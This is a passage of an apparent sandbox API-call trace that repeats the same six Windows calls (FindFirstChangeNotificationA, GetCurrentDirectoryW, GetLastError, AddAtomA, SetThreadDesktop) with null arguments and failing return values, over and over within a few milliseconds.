[0118.481] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.482] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.482] GetLastError () returned 0x3 [0118.482] AddAtomA (lpString=0x0) returned 0x0 [0118.482] AddAtomA (lpString=0x0) returned 0x0 [0118.482] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.482] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.482] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.482] GetLastError () returned 0x3 [0118.482] AddAtomA (lpString=0x0) returned 0x0 [0118.482] AddAtomA (lpString=0x0) returned 0x0 [0118.482] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.482] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.482] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.482] GetLastError () returned 0x3 [0118.482] AddAtomA (lpString=0x0) returned 0x0 [0118.482] AddAtomA (lpString=0x0) returned 0x0 [0118.482] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.482] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.482] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.482] GetLastError () returned 0x3 [0118.482] AddAtomA (lpString=0x0) returned 0x0 [0118.482] AddAtomA (lpString=0x0) returned 0x0 [0118.482] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.482] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.482] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.482] GetLastError () returned 0x3 [0118.482] AddAtomA (lpString=0x0) returned 0x0 [0118.482] AddAtomA (lpString=0x0) returned 0x0 [0118.482] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.482] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.482] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.482] GetLastError () returned 0x3 [0118.482] AddAtomA (lpString=0x0) returned 0x0 [0118.483] AddAtomA (lpString=0x0) returned 0x0 [0118.483] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.483] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.483] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.483] GetLastError () returned 0x3 [0118.483] AddAtomA (lpString=0x0) returned 0x0 [0118.483] AddAtomA (lpString=0x0) returned 0x0 [0118.483] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.483] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.483] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.483] GetLastError () returned 0x3 [0118.483] AddAtomA (lpString=0x0) returned 0x0 [0118.483] AddAtomA (lpString=0x0) returned 0x0 [0118.483] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.483] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.483] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.483] GetLastError () returned 0x3 [0118.483] AddAtomA (lpString=0x0) returned 0x0 [0118.483] AddAtomA (lpString=0x0) returned 0x0 [0118.483] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.483] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.483] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.483] GetLastError () returned 0x3 [0118.483] AddAtomA (lpString=0x0) returned 0x0 [0118.483] AddAtomA (lpString=0x0) returned 0x0 [0118.483] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.483] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.483] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.483] GetLastError () returned 0x3 [0118.483] AddAtomA (lpString=0x0) returned 0x0 [0118.483] AddAtomA (lpString=0x0) returned 0x0 [0118.483] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.483] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.483] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.484] GetLastError () returned 0x3 [0118.484] AddAtomA (lpString=0x0) returned 0x0 [0118.484] AddAtomA (lpString=0x0) returned 0x0 [0118.484] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.484] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.484] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.484] GetLastError () returned 0x3 [0118.484] AddAtomA (lpString=0x0) returned 0x0 [0118.484] AddAtomA (lpString=0x0) returned 0x0 [0118.484] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.484] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.484] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.484] GetLastError () returned 0x3 [0118.484] AddAtomA (lpString=0x0) returned 0x0 [0118.484] AddAtomA (lpString=0x0) returned 0x0 [0118.484] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.484] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.484] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.484] GetLastError () returned 0x3 [0118.484] AddAtomA (lpString=0x0) returned 0x0 [0118.484] AddAtomA (lpString=0x0) returned 0x0 [0118.484] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.484] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.484] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.484] GetLastError () returned 0x3 [0118.484] AddAtomA (lpString=0x0) returned 0x0 [0118.484] AddAtomA (lpString=0x0) returned 0x0 [0118.484] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.484] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.484] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.484] GetLastError () returned 0x3 [0118.484] AddAtomA (lpString=0x0) returned 0x0 [0118.484] AddAtomA (lpString=0x0) returned 0x0 [0118.484] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.484] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.485] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.485] GetLastError () returned 0x3 [0118.485] AddAtomA (lpString=0x0) returned 0x0 [0118.485] AddAtomA (lpString=0x0) returned 0x0 [0118.485] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.485] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.485] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.485] GetLastError () returned 0x3 [0118.485] AddAtomA (lpString=0x0) returned 0x0 [0118.485] AddAtomA (lpString=0x0) returned 0x0 [0118.485] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.485] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.485] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.485] GetLastError () returned 0x3 [0118.485] AddAtomA (lpString=0x0) returned 0x0 [0118.485] AddAtomA (lpString=0x0) returned 0x0 [0118.485] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.485] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.485] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.485] GetLastError () returned 0x3 [0118.485] AddAtomA (lpString=0x0) returned 0x0 [0118.485] AddAtomA (lpString=0x0) returned 0x0 [0118.485] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.485] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.485] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.485] GetLastError () returned 0x3 [0118.485] AddAtomA (lpString=0x0) returned 0x0 [0118.485] AddAtomA (lpString=0x0) returned 0x0 [0118.485] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.485] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.485] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.485] GetLastError () returned 0x3 [0118.485] AddAtomA (lpString=0x0) returned 0x0 [0118.486] AddAtomA (lpString=0x0) returned 0x0 [0118.486] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.486] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.486] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.486] GetLastError () returned 0x3 [0118.486] AddAtomA (lpString=0x0) returned 0x0 [0118.486] AddAtomA (lpString=0x0) returned 0x0 [0118.486] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.486] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.486] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.486] GetLastError () returned 0x3 [0118.486] AddAtomA (lpString=0x0) returned 0x0 [0118.486] AddAtomA (lpString=0x0) returned 0x0 [0118.486] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.486] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.486] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.486] GetLastError () returned 0x3 [0118.486] AddAtomA (lpString=0x0) returned 0x0 [0118.486] AddAtomA (lpString=0x0) returned 0x0 [0118.486] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.486] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.486] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.486] GetLastError () returned 0x3 [0118.486] AddAtomA (lpString=0x0) returned 0x0 [0118.486] AddAtomA (lpString=0x0) returned 0x0 [0118.486] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.486] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.486] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.486] GetLastError () returned 0x3 [0118.486] AddAtomA (lpString=0x0) returned 0x0 [0118.486] AddAtomA (lpString=0x0) returned 0x0 [0118.486] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.486] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.486] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.487] GetLastError () returned 0x3 [0118.487] AddAtomA (lpString=0x0) returned 0x0 [0118.487] AddAtomA (lpString=0x0) returned 0x0 [0118.487] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.487] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.487] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.487] GetLastError () returned 0x3 [0118.487] AddAtomA (lpString=0x0) returned 0x0 [0118.487] AddAtomA (lpString=0x0) returned 0x0 [0118.487] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.487] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.487] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.487] GetLastError () returned 0x3 [0118.487] AddAtomA (lpString=0x0) returned 0x0 [0118.487] AddAtomA (lpString=0x0) returned 0x0 [0118.487] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.487] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.487] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.487] GetLastError () returned 0x3 [0118.487] AddAtomA (lpString=0x0) returned 0x0 [0118.487] AddAtomA (lpString=0x0) returned 0x0 [0118.487] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.487] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.487] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.487] GetLastError () returned 0x3 [0118.487] AddAtomA (lpString=0x0) returned 0x0 [0118.487] AddAtomA (lpString=0x0) returned 0x0 [0118.487] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.487] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.487] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.487] GetLastError () returned 0x3 [0118.487] AddAtomA (lpString=0x0) returned 0x0 [0118.487] AddAtomA (lpString=0x0) returned 0x0 [0118.487] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.488] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.488] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.488] GetLastError () returned 0x3 [0118.488] AddAtomA (lpString=0x0) returned 0x0 [0118.488] AddAtomA (lpString=0x0) returned 0x0 [0118.488] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.488] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.488] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.488] GetLastError () returned 0x3 [0118.488] AddAtomA (lpString=0x0) returned 0x0 [0118.488] AddAtomA (lpString=0x0) returned 0x0 [0118.488] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.488] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.488] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.488] GetLastError () returned 0x3 [0118.488] AddAtomA (lpString=0x0) returned 0x0 [0118.488] AddAtomA (lpString=0x0) returned 0x0 [0118.488] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.488] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.488] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.488] GetLastError () returned 0x3 [0118.488] AddAtomA (lpString=0x0) returned 0x0 [0118.488] AddAtomA (lpString=0x0) returned 0x0 [0118.488] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.488] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.488] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.488] GetLastError () returned 0x3 [0118.488] AddAtomA (lpString=0x0) returned 0x0 [0118.488] AddAtomA (lpString=0x0) returned 0x0 [0118.488] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.488] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.488] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.488] GetLastError () returned 0x3 [0118.488] AddAtomA (lpString=0x0) returned 0x0 [0118.489] AddAtomA (lpString=0x0) returned 0x0 [0118.489] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.489] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.489] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.489] GetLastError () returned 0x3 [0118.489] AddAtomA (lpString=0x0) returned 0x0 [0118.489] AddAtomA (lpString=0x0) returned 0x0 [0118.489] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.489] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.489] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.489] GetLastError () returned 0x3 [0118.489] AddAtomA (lpString=0x0) returned 0x0 [0118.489] AddAtomA (lpString=0x0) returned 0x0 [0118.489] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.489] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.489] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.489] GetLastError () returned 0x3 [0118.489] AddAtomA (lpString=0x0) returned 0x0 [0118.489] AddAtomA (lpString=0x0) returned 0x0 [0118.489] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.489] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.489] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.489] GetLastError () returned 0x3 [0118.489] AddAtomA (lpString=0x0) returned 0x0 [0118.489] AddAtomA (lpString=0x0) returned 0x0 [0118.489] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.489] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.489] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.489] GetLastError () returned 0x3 [0118.489] AddAtomA (lpString=0x0) returned 0x0 [0118.489] AddAtomA (lpString=0x0) returned 0x0 [0118.489] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.489] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.489] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.490] GetLastError () returned 0x3 [0118.490] AddAtomA (lpString=0x0) returned 0x0 [0118.490] AddAtomA (lpString=0x0) returned 0x0 [0118.490] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.490] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.490] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.490] GetLastError () returned 0x3 [0118.490] AddAtomA (lpString=0x0) returned 0x0 [0118.490] AddAtomA (lpString=0x0) returned 0x0 [0118.490] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.490] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.490] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.490] GetLastError () returned 0x3 [0118.490] AddAtomA (lpString=0x0) returned 0x0 [0118.490] AddAtomA (lpString=0x0) returned 0x0 [0118.490] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.490] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.490] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.490] GetLastError () returned 0x3 [0118.490] AddAtomA (lpString=0x0) returned 0x0 [0118.490] AddAtomA (lpString=0x0) returned 0x0 [0118.490] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.490] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.490] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.490] GetLastError () returned 0x3 [0118.490] AddAtomA (lpString=0x0) returned 0x0 [0118.490] AddAtomA (lpString=0x0) returned 0x0 [0118.490] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.490] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.490] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.490] GetLastError () returned 0x3 [0118.490] AddAtomA (lpString=0x0) returned 0x0 [0118.490] AddAtomA (lpString=0x0) returned 0x0 [0118.490] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.491] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.491] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.491] GetLastError () returned 0x3 [0118.491] AddAtomA (lpString=0x0) returned 0x0 [0118.491] AddAtomA (lpString=0x0) returned 0x0 [0118.491] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.491] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.491] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.491] GetLastError () returned 0x3 [0118.491] AddAtomA (lpString=0x0) returned 0x0 [0118.491] AddAtomA (lpString=0x0) returned 0x0 [0118.491] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.491] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.491] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.491] GetLastError () returned 0x3 [0118.491] AddAtomA (lpString=0x0) returned 0x0 [0118.491] AddAtomA (lpString=0x0) returned 0x0 [0118.491] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.491] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.491] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.491] GetLastError () returned 0x3 [0118.491] AddAtomA (lpString=0x0) returned 0x0 [0118.491] AddAtomA (lpString=0x0) returned 0x0 [0118.491] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.491] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.491] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.491] GetLastError () returned 0x3 [0118.491] AddAtomA (lpString=0x0) returned 0x0 [0118.491] AddAtomA (lpString=0x0) returned 0x0 [0118.491] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.491] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.491] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.491] GetLastError () returned 0x3 [0118.491] AddAtomA (lpString=0x0) returned 0x0 [0118.492] AddAtomA (lpString=0x0) returned 0x0 [0118.492] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.492] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.492] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.492] GetLastError () returned 0x3 [0118.492] AddAtomA (lpString=0x0) returned 0x0 [0118.492] AddAtomA (lpString=0x0) returned 0x0 [0118.492] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.492] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.492] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.492] GetLastError () returned 0x3 [0118.492] AddAtomA (lpString=0x0) returned 0x0 [0118.492] AddAtomA (lpString=0x0) returned 0x0 [0118.492] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.492] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.492] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.492] GetLastError () returned 0x3 [0118.492] AddAtomA (lpString=0x0) returned 0x0 [0118.492] AddAtomA (lpString=0x0) returned 0x0 [0118.492] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.492] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.492] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.492] GetLastError () returned 0x3 [0118.492] AddAtomA (lpString=0x0) returned 0x0 [0118.492] AddAtomA (lpString=0x0) returned 0x0 [0118.492] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.492] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.492] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.492] GetLastError () returned 0x3 [0118.492] AddAtomA (lpString=0x0) returned 0x0 [0118.492] AddAtomA (lpString=0x0) returned 0x0 [0118.492] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.492] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.492] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.492] GetLastError () returned 0x3 [0118.492] AddAtomA (lpString=0x0) returned 0x0 [0118.493] AddAtomA (lpString=0x0) returned 0x0 [0118.493] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.493] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.493] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.493] GetLastError () returned 0x3 [0118.493] AddAtomA (lpString=0x0) returned 0x0 [0118.493] AddAtomA (lpString=0x0) returned 0x0 [0118.493] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.493] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.493] GetCurrentDirectoryW (in: 